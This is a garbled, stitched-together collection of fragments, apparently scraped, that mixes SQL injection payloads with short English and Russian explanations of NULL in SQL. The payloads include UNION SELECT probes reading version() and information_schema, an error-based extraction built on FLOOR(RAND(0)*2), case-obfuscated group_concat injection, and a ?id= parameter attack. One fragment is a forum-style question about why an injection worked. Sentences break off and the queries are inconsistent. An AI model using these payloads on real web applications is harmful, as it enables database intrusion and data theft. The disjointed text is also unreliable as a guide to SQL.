select a,b,null,null from table1 union select null,null,c,d from table2 union select null,null,null,null,e,f from table3.
...20NULL,version(),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
SELECT db_name(); SELECT database(); SELECT schema_name FROM
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))).
Note: A NULL value is different from a zero value or a field that contains spaces. A field with a NULL value is one that has been left blank during record creation!
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... Extract columns name without information_schema. Method for MySQL >= 4.1. First extract the column number with. ?id=(1)and(SELECT * from db.users)=(1) -- Operand should contain 4 column(s).
Предикат IS NULL позволяет проверить отсутствие (наличие) значения в полях таблицы. Использование в этих случаях обычных предикатов сравнения может привести к неверным результатам, так как сравнение со значением NULL дает результат UNKNOWN (неизвестно).
SQL’s NULL indicates absent data. NULL propagates through expressions and needs distinct comparison operators.
IS NULL вернёт истину, если операнд имеет значение NULL и ложь, если он им не является.